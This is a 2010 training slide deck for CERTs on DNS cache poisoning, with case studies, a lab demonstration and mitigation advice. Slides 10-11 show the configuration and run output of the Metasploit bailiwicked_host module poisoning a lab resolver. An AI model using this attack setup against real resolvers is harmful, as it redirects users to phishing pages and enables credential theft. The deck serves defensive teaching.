1. DNS Security for CERTs
- Attack Scenarios & Demonstrations –
Cache Poisoning
Chris Evans
Delta Risk, LLC
7 March 2010
1
2. What You Will Need for the Exercise
• Your Ubuntu VM
– VMWare Web Console Access
– SSH with X11 Forwarding (for Advanced Users)
• Do a query for www.tld1 and verify its IP address
before the attack is launched:
– 192.168.101.50
2
3. Description
• A Change in Recursive DNS Server Causes Spoofed or
Incorrect Resolutions
– Attack Doesn’t Target Registry Architecture
DNS
Google.com
ISP 1
DNS
Fake Google
ISP 2
Resolves Differently Than
3
4. Description
• Cache poisoning attacks target a specific DNS server, and
therefore, only the users which use that DNS server
– This doesn’t fit the “get most bang for the buck” of typical
hackers out for fame and glory
– BUT, the attack can be very insidious, difficult to detect and
completely transparent to the victim
• These attacks occur infrequently, or, are just not being
detected and reported.
4
5. Case Study – External Poisoning
• Unverified report of a Brazilian
bank victimized by cache
poisoning attack.
• Attack targeted local ISP DNS
server
• ISP reported only “1%” of its
users were affected
Eweek.com 4/22/09
5
6. Case Study – External Poisoning
• Hackers poisoned local ISP DNS server and
redirected users to a login page that looked just like
the Bank’s login page
• Solicited usernames, passwords, and other
information not normally asked for by the Bank at
login
Actual Bradesco Login Page
6
7. Case Study – Internal Poisoning
• Partido Colorado – political statement made by one
organization against another during an election
Attacker Modifies Upstream DNS Records
www.partidocolorado.org. 3600 IN A 66.249.01.121
7
8. Case Study – Internal Poisoning
• The local ISP (Copaco) modified its own recursive name
servers to redirect users looking for partidocolorado.org to
a state-run news service
201.217.51.114
Attacker Modified Upstream DNS Records
www.partidocolorado.org. 3600 IN A 66.249.01.121
8
9. Attack Demonstration
External Poisoning
DNS Cache Web Server
DNS
Server
Hacker
Normal
Request
Poisoned
Request
Victim
Web Server
9
10. Demonstration – Attacker View
_ _
_ | | (_)_
____ ____| |_ ____ ___ ____ | | ___ _| |_
| / _ ) _)/ _ |/___) _ | |/ _ | | _)
| | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__
|_|_|_|____)___)_||_(___/| ||_/|_|___/|_|___)
|_|
=[ msf v3.2-release
+ -- --=[ 320 exploits - 217 payloads
+ -- --=[ 20 encoders - 6 nops
=[ 99 aux
msf auxiliary(bailiwicked_host) > Name: DNS BailiWicked Host Attack
Version: 5794
Provided by:
I)ruid <druid@caughq.org>
hdm <hdm@metasploit.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
HOSTNAME www.tld1 yes Hostname to hijack
NEWADDR 192.168.85.5 yes New address for hostname
RECONS 192.168.101.10 yes The nameserver used for recon
RHOST 192.168.80.10 yes The target address
SRCADDR Real yes The source address to use for
SRCPORT 53 yes The target server's source
TTL 37620 yes The TTL for the malicious host
XIDS 0 yes The number of XIDs to try for
10
11. Demonstration – Attacker View (cont.)
[*] Targeting nameserver 192.168.80.10 for injection of www.tld1. as 192.168.85.5
[*] Querying recon nameserver for tld1.'s nameservers...
[*] Got an NS record: tld1. 180 IN NS ns1.tld1.
[*] Querying recon nameserver for address of ns1.tld1....
[*] Got an A record: ns1.tld1. 180 IN A 192.168.101.10
[*] Checking Authoritativeness: Querying 192.168.101.10 for tld1....
[*] ns1.tld1. is authoritative for tld1., adding to list of nameservers to spoof as
[*] Calculating the number of spoofed replies to send per query...
[*] race calc: 100 queries | min/max/avg time: 0.0/0.06/0.0 | min/max/avg replies: 0/6/3
[*] Sending 4 spoofed replies from each nameserver (1) for each query
[*] Attempting to inject a poison record for www.tld1. into 192.168.80.10:53...
...
...
...
...
[*] Poisoning successful after 61000 queries and 250000 responses: www.tld1 == 192.168.85.5
[*] TTL: 37619 DATA: #<Resolv::DNS::Resource::IN::A:0xb6b28688>
[*] Auxiliary module execution completed
Attack
Successful!!!!!
11
12. Demonstration – Server View
• Wireshark Capture
– Note the queries like “031PtyJamG6o.tld1”
12
13. Demonstration – User View
• Please open a browser and connect to the webmail
server: http://192.168.101.50/squirrelmail
– Login as: studentX
– Password: password
• Examine the message in your inbox
– Looks realistic? ( Use your imagination )
– The URL certainly does – it matches the web registry
system URL.
• Click on the link (it won’t hurt you!)
– Does this look like the login page of the web registry
system?
13
14. Demonstration – User View
1
3
2
May look legit
but is the
hacker’s IP and
webserver!!!!!
14
15. Impact
• Users are dependent on the answers from the DNS
being accurate and legitimate
• Cache Poisoning can be used to create very realistic
phishing attacks, that are more likely to succeed,
because they appear to use real URLs.
– Users are more attune to “strange” URLs now than
several years ago, but cache poisoning allows an
attacker to use a “normal” URL
15
16. Mitigation & Response Strategies
• DNSSEC – will mitigate effect of external poisoning
attacks, but will not address content “issues” at the
authoritative server
• SSL-Based Logins – but subject to user participation!
• Server validation techniques like “site keys” – but
again, subject to user participation!
• Proactive monitoring of recursive servers – not
necessarily tractable – but maybe useful for High
Value Domains
16
17. Mitigation & Response Strategies
• Know WHO to contact at the ISPs within your span
of control
• Know the procedures for flushing the DNS cache –
you may have to instruct operators how to do this!
• Information Sharing – if you’re the victim of an
attack – share the details of the attack within the
community – you may prevent someone else from
becoming a victim
17
